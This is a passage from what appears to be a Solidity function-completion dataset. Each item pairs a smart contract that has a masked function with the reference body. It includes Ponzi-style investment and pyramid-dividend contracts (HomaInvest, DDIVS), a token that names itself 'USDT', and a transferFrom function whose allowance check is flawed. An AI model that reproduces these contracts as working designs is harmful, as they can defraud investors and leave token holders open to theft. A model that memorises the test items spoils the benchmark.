0){ emit NewInvestor(msg.sender, msg.value); allBeneficiaries+=1; } // commission commissionAddr.transfer(m_adminPercent.mul(msg.value)); if(getDepositMultiplier() > 0 && now >= time[msg.sender].add(dividendsTime) ){ receivePayment(); } balances[msg.sender] = balances[msg.sender].add(msg.value); time[msg.sender] = now; allDeposits+=msg.value; emit NewDeposit(msg.sender, msg.value); }else{ receivePayment(); } } /** * function that is launched when transferring money to a contract */ function() external payable{ createDeposit(); } }
contract HomaInvest{ using SafeMath for uint; using Percent for Percent.percent; // array containing information about beneficiaries mapping (address => uint) public balances; //array containing information about the time of payment mapping (address => uint) public time; //The marks of the balance on the contract after which the percentage of payments will change uint step1 = 200; uint step2 = 400; uint step3 = 600; uint step4 = 800; uint step5 = 1000; //the time through which dividends will be paid uint dividendsTime = 1 days; event NewInvestor(address indexed investor, uint deposit); event PayOffDividends(address indexed investor, uint value); event NewDeposit(address indexed investor, uint value); uint public allDeposits; uint public allPercents; uint public allBeneficiaries; uint public lastPayment; uint public constant minInvesment = 10 finney; address public commissionAddr = 0x9f7E3556284EC90961ed0Ff78713729545A96131; Percent.percent private m_adminPercent = Percent.percent(10, 100); /** * The modifier checking the positive balance of the beneficiary */ modifier isIssetRecepient(){ require(balances[msg.sender] > 0, "Deposit not found"); _; } /** * modifier checking the next payout time */ modifier timeCheck(){ require(now >= time[msg.sender].add(dividendsTime), "Too fast payout request. The time of payment has not yet come"); _; } function getDepositMultiplier()public view returns(uint){ uint percent = getPercent(); uint rate = balances[msg.sender].mul(percent).div(10000); uint depositMultiplier = now.sub(time[msg.sender]).div(dividendsTime); return(rate.mul(depositMultiplier)); } function receivePayment()isIssetRecepient timeCheck private{ uint depositMultiplier = getDepositMultiplier(); time[msg.sender] = now; msg.sender.transfer(depositMultiplier); allPercents+=depositMultiplier; lastPayment =now; emit PayOffDividends(msg.sender, depositMultiplier); } /** * @return bool */ function authorizationPayment()public view returns(bool){ if (balances[msg.sender] > 0 && now >= (time[msg.sender].add(dividendsTime))){ return (true); }else{ return(false); } } <FILL_FUNCTION> function createDeposit() private{ if(msg.value > 0){ require(msg.value >= minInvesment, "msg.value must be >= minInvesment"); if (balances[msg.sender] == 0){ emit NewInvestor(msg.sender, msg.value); allBeneficiaries+=1; } // commission commissionAddr.transfer(m_adminPercent.mul(msg.value)); if(getDepositMultiplier() > 0 && now >= time[msg.sender].add(dividendsTime) ){ receivePayment(); } balances[msg.sender] = balances[msg.sender].add(msg.value); time[msg.sender] = now; allDeposits+=msg.value; emit NewDeposit(msg.sender, msg.value); }else{ receivePayment(); } } /** * function that is launched when transferring money to a contract */ function() external payable{ createDeposit(); } }
uint contractBalance = address(this).balance; uint balanceStep1 = step1.mul(1 ether); uint balanceStep2 = step2.mul(1 ether); uint balanceStep3 = step3.mul(1 ether); uint balanceStep4 = step4.mul(1 ether); uint balanceStep5 = step5.mul(1 ether); if(contractBalance < balanceStep1){ return(325); } if(contractBalance >= balanceStep1 && contractBalance < balanceStep2){ return(350); } if(contractBalance >= balanceStep2 && contractBalance < balanceStep3){ return(375); } if(contractBalance >= balanceStep3 && contractBalance < balanceStep4){ return(400); } if(contractBalance >= balanceStep4 && contractBalance < balanceStep5){ return(425); } if(contractBalance >= balanceStep5){ return(450); }
function getPercent() public view returns(uint)
/** * @return uint percent */ function getPercent() public view returns(uint)
71490
TokenLock
getMinLockedAmount
contract TokenLock is Ownable { using SafeMath for uint256; bool public transferEnabled = false; // indicates that token is transferable or not bool public noTokenLocked = false; // indicates all token is released or not struct TokenLockInfo { // token of `amount` cannot be moved before `time` uint256 amount; // locked amount uint256 time; // unix timestamp } struct TokenLockState { uint256 latestReleaseTime; TokenLockInfo[] tokenLocks; // multiple token locks can exist } mapping(address => TokenLockState) lockingStates; mapping(address => bool) addresslock; mapping(address => uint256) lockbalances; event AddTokenLockDate(address indexed to, uint256 time, uint256 amount); event AddTokenLock(address indexed to, uint256 amount); event AddressLockTransfer(address indexed to, bool _enable); function unlockAllTokens() public onlyOwner { noTokenLocked = true; } function enableTransfer(bool _enable) public onlyOwner { transferEnabled = _enable; } // calculate the amount of tokens an address can use function getMinLockedAmount(address _addr) view public returns (uint256 locked) {<FILL_FUNCTION_BODY> } function lockVolumeAddress(address _sender) view public returns (uint256 locked) { return lockbalances[_sender]; } function addTokenLockDate(address _addr, uint256 _value, uint256 _release_time) onlyOwnerOrAdmin public { require(_addr != address(0)); require(_value > 0); require(_release_time > now); TokenLockState storage lockState = lockingStates[_addr]; // assigns a pointer. change the member value will update struct itself. if (_release_time > lockState.latestReleaseTime) { lockState.latestReleaseTime = _release_time; } lockState.tokenLocks.push(TokenLockInfo(_value, _release_time)); emit AddTokenLockDate(_addr, _release_time, _value); } function addTokenLock(address _addr, uint256 _value) onlyOwnerOrAdmin public { require(_addr != address(0)); require(_value >= 0); lockbalances[_addr] = _value; emit AddTokenLock(_addr, _value); } function addressLockTransfer(address _addr, bool _enable) public onlyOwner { require(_addr != address(0)); addresslock[_addr] = _enable; emit AddressLockTransfer(_addr, _enable); } }
contract TokenLock is Ownable { using SafeMath for uint256; bool public transferEnabled = false; // indicates that token is transferable or not bool public noTokenLocked = false; // indicates all token is released or not struct TokenLockInfo { // token of `amount` cannot be moved before `time` uint256 amount; // locked amount uint256 time; // unix timestamp } struct TokenLockState { uint256 latestReleaseTime; TokenLockInfo[] tokenLocks; // multiple token locks can exist } mapping(address => TokenLockState) lockingStates; mapping(address => bool) addresslock; mapping(address => uint256) lockbalances; event AddTokenLockDate(address indexed to, uint256 time, uint256 amount); event AddTokenLock(address indexed to, uint256 amount); event AddressLockTransfer(address indexed to, bool _enable); function unlockAllTokens() public onlyOwner { noTokenLocked = true; } function enableTransfer(bool _enable) public onlyOwner { transferEnabled = _enable; } <FILL_FUNCTION> function lockVolumeAddress(address _sender) view public returns (uint256 locked) { return lockbalances[_sender]; } function addTokenLockDate(address _addr, uint256 _value, uint256 _release_time) onlyOwnerOrAdmin public { require(_addr != address(0)); require(_value > 0); require(_release_time > now); TokenLockState storage lockState = lockingStates[_addr]; // assigns a pointer. change the member value will update struct itself. if (_release_time > lockState.latestReleaseTime) { lockState.latestReleaseTime = _release_time; } lockState.tokenLocks.push(TokenLockInfo(_value, _release_time)); emit AddTokenLockDate(_addr, _release_time, _value); } function addTokenLock(address _addr, uint256 _value) onlyOwnerOrAdmin public { require(_addr != address(0)); require(_value >= 0); lockbalances[_addr] = _value; emit AddTokenLock(_addr, _value); } function addressLockTransfer(address _addr, bool _enable) public onlyOwner { require(_addr != address(0)); addresslock[_addr] = _enable; emit AddressLockTransfer(_addr, _enable); } }
uint256 i; uint256 a; uint256 t; uint256 lockSum = 0; // if the address has no limitations just return 0 TokenLockState storage lockState = lockingStates[_addr]; if (lockState.latestReleaseTime < now) { return 0; } for (i=0; i<lockState.tokenLocks.length; i++) { a = lockState.tokenLocks[i].amount; t = lockState.tokenLocks[i].time; if (t > now) { lockSum = lockSum.add(a); } } return lockSum;
function getMinLockedAmount(address _addr) view public returns (uint256 locked)
// calculate the amount of tokens an address can use function getMinLockedAmount(address _addr) view public returns (uint256 locked)
20159
Ownable
null
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public {<FILL_FUNCTION_BODY> } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } }
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); <FILL_FUNCTION> /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } }
owner = msg.sender;
constructor() public
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public
76014
USDToken
USDToken
contract USDToken is ERC20Interface,Ownable { string public symbol; //代币符号 string public name; //代币名称 uint8 public decimal; //精确小数位 uint public _totalSupply; //总的发行代币数 mapping(address => uint) balances; //地址映射金额数 mapping(address =>mapping(address =>uint)) allowed; //授权地址使用金额绑定 //引入safemath 类库 using SafeMath for uint; //构造函数 //function LOPOToken() public{ function USDToken() public{<FILL_FUNCTION_BODY> } function totalSupply() public constant returns (uint totalSupply){ return _totalSupply; } function balanceOf(address _owner) public constant returns (uint balance){ return balances[_owner]; } function transfer(address _to, uint _value) public returns (bool success){ balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender,_to,_value); return true; } function approve(address _spender, uint _value) public returns (bool success){ allowed[msg.sender][_spender]=_value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint remaining){ return allowed[_owner][_spender]; } function transferFrom(address _from, address _to, uint _value) public returns (bool success){ allowed[_from][_to] = allowed[_from][_to].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from,_to,_value); return true; } //匿名函数回滚 禁止转账给me function() payable { revert(); } //转账给任何合约 function transferAnyERC20Token(address tokenaddress,uint tokens) public onlyOwner returns(bool success){ ERC20Interface(tokenaddress).transfer(msg.sender,tokens); } }
contract USDToken is ERC20Interface,Ownable { string public symbol; //代币符号 string public name; //代币名称 uint8 public decimal; //精确小数位 uint public _totalSupply; //总的发行代币数 mapping(address => uint) balances; //地址映射金额数 mapping(address =>mapping(address =>uint)) allowed; //授权地址使用金额绑定 //引入safemath 类库 using SafeMath for uint; <FILL_FUNCTION> function totalSupply() public constant returns (uint totalSupply){ return _totalSupply; } function balanceOf(address _owner) public constant returns (uint balance){ return balances[_owner]; } function transfer(address _to, uint _value) public returns (bool success){ balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender,_to,_value); return true; } function approve(address _spender, uint _value) public returns (bool success){ allowed[msg.sender][_spender]=_value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint remaining){ return allowed[_owner][_spender]; } function transferFrom(address _from, address _to, uint _value) public returns (bool success){ allowed[_from][_to] = allowed[_from][_to].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from,_to,_value); return true; } //匿名函数回滚 禁止转账给me function() payable { revert(); } //转账给任何合约 function transferAnyERC20Token(address tokenaddress,uint tokens) public onlyOwner returns(bool success){ ERC20Interface(tokenaddress).transfer(msg.sender,tokens); } }
symbol = "USDT"; name = "USD Token"; decimal = 18; _totalSupply = 88543211; balances[msg.sender]=_totalSupply;//给发送者地址所有金额 Transfer(address(0),msg.sender,_totalSupply );//转账事件
function USDToken() public
//构造函数 //function LOPOToken() public{ function USDToken() public
86410
StandardToken
decreaseApproval
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) {<FILL_FUNCTION_BODY> } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> }
uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool)
function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool)
29814
DDIVS
sellPrice
contract DDIVS { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } modifier notContract() { require (msg.sender == tx.origin); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } uint ACTIVATION_TIME = 1538028000; // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; if (now >= ACTIVATION_TIME) { onlyAmbassadors = false; } // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "DDIVS"; string public symbol = "DDIVS"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 18; // 18% dividend fee for double divs tokens on each buy and sell uint8 constant internal fundFee_ = 7; // 7% investment fund fee to buy double divs on each buy and sell uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // Address to send the 1% Fee address public giveEthFundAddress = 0x85EcbC22e9c0Ad0c1Cb3F4465582493bADc50433; bool public finalizedEthFundAddress = false; uint256 public totalEthFundRecieved; // total ETH charity recieved from this contract uint256 public totalEthFundCollected; // total ETH charity collected in this contract // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 25e18; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 0.75 ether; uint256 constant internal ambassadorQuota_ = 1.5 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; // Special Double Divs Platform control from scam game contracts on Double Divs platform mapping(address => bool) public canAcceptTokens_; // contracts, which can accept Double Divs tokens mapping(address => address) public stickyRef; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ constructor() public { // add administrators here administrators[0x28F0088308CDc140C2D72fBeA0b8e529cAA5Cb40] = true; // add the ambassadors here - Tokens will be distributed to these addresses from main premine ambassadors_[0x41FE3738B503cBaFD01C1Fd8DD66b7fE6Ec11b01] = true; // add the ambassadors here - Tokens will be distributed to these addresses from main premine ambassadors_[0x28F0088308CDc140C2D72fBeA0b8e529cAA5Cb40] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { require(tx.gasprice <= 0.05 szabo); purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { require(tx.gasprice <= 0.05 szabo); purchaseTokens(msg.value, 0x0); } function updateFundAddress(address _newAddress) onlyAdministrator() public { require(finalizedEthFundAddress == false); giveEthFundAddress = _newAddress; } function finalizeFundAddress(address _finalAddress) onlyAdministrator() public { require(finalizedEthFundAddress == false); giveEthFundAddress = _finalAddress; finalizedEthFundAddress = true; } /** * Sends FUND money to the Dev Fee Contract * The address is here https://etherscan.io/address/0x85EcbC22e9c0Ad0c1Cb3F4465582493bADc50433 */ function payFund() payable public { uint256 ethToPay = SafeMath.sub(totalEthFundCollected, totalEthFundRecieved); require(ethToPay > 0); totalEthFundRecieved = SafeMath.add(totalEthFundRecieved, ethToPay); if(!giveEthFundAddress.call.value(ethToPay)()) { revert(); } } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _refPayout = _dividends / 3; _dividends = SafeMath.sub(_dividends, _refPayout); (_dividends,) = handleRef(stickyRef[msg.sender], _refPayout, _dividends, 0); // Take out dividends and then _fundPayout uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); // Add ethereum to send to fund totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * REMEMBER THIS IS 0% TRANSFER FEE */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); // fire event emit Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } /** * Transfer token to a specified address and forward the data to recipient * ERC-677 standard * https://github.com/ethereum/EIPs/issues/677 * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) { require(_to != address(0)); require(canAcceptTokens_[_to] == true); // security check that contract approved by Double Divs platform require(transfer(_to, _value)); // do a normal token transfer to the contract if (isContract(_to)) { AcceptsDDIVS receiver = AcceptsDDIVS(_to); require(receiver.tokenFallback(msg.sender, _value, _data)); } return true; } /** * Additional check that the game address we are sending tokens to is a contract * assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _addr) private constant returns (bool is_contract) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ //function disableInitialStage() // onlyAdministrator() // public //{ // onlyAmbassadors = false; //} /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * Add or remove game contract, which can accept Double Divs (DDIVS) tokens */ function setCanAcceptTokens(address _address, bool _value) onlyAdministrator() public { canAcceptTokens_[_address] = _value; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return address(this).balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) {<FILL_FUNCTION_BODY> } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.add(SafeMath.add(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereumToSpend, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } /** * Function for the frontend to show ether waiting to be send to fund in contract */ function etherToSendFund() public view returns(uint256) { return SafeMath.sub(totalEthFundCollected, totalEthFundRecieved); } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ // Make sure we will send back excess if user sends more then 5 ether before 100 ETH in contract function purchaseInternal(uint256 _incomingEthereum, address _referredBy) notContract()// no contracts allowed internal returns(uint256) { uint256 purchaseEthereum = _incomingEthereum; uint256 excess; if(purchaseEthereum > 2.5 ether) { // check if the transaction is over 2.5 ether if (SafeMath.sub(address(this).balance, purchaseEthereum) <= 100 ether) { // if so check the contract is less then 100 ether purchaseEthereum = 2.5 ether; excess = SafeMath.sub(_incomingEthereum, purchaseEthereum); } } purchaseTokens(purchaseEthereum, _referredBy); if (excess > 0) { msg.sender.transfer(excess); } } function handleRef(address _ref, uint _referralBonus, uint _currentDividends, uint _currentFee) internal returns (uint, uint){ uint _dividends = _currentDividends; uint _fee = _currentFee; address _referredBy = stickyRef[msg.sender]; if (_referredBy == address(0x0)){ _referredBy = _ref; } // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != msg.sender && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution if (stickyRef[msg.sender] == address(0x0)){ stickyRef[msg.sender] = _referredBy; } referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus/2); address currentRef = stickyRef[_referredBy]; if (currentRef != address(0x0) && tokenBalanceLedger_[currentRef] >= stakingRequirement){ referralBalance_[currentRef] = SafeMath.add(referralBalance_[currentRef], (_referralBonus/10)*3); currentRef = stickyRef[currentRef]; if (currentRef != address(0x0) && tokenBalanceLedger_[currentRef] >= stakingRequirement){ referralBalance_[currentRef] = SafeMath.add(referralBalance_[currentRef], (_referralBonus/10)*2); } else{ _dividends = SafeMath.add(_dividends, _referralBonus - _referralBonus/2 - (_referralBonus/10)*3); _fee = _dividends * magnitude; } } else{ _dividends = SafeMath.add(_dividends, _referralBonus - _referralBonus/2); _fee = _dividends * magnitude; } } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } return (_dividends, _fee); } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, fundFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _fee; (_dividends, _fee) = handleRef(_referredBy, _referralBonus, _dividends, _fee); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _dividends), _fundPayout); totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); // no point in continuing execution if OP is a poor russian hacker // prevents overflow in 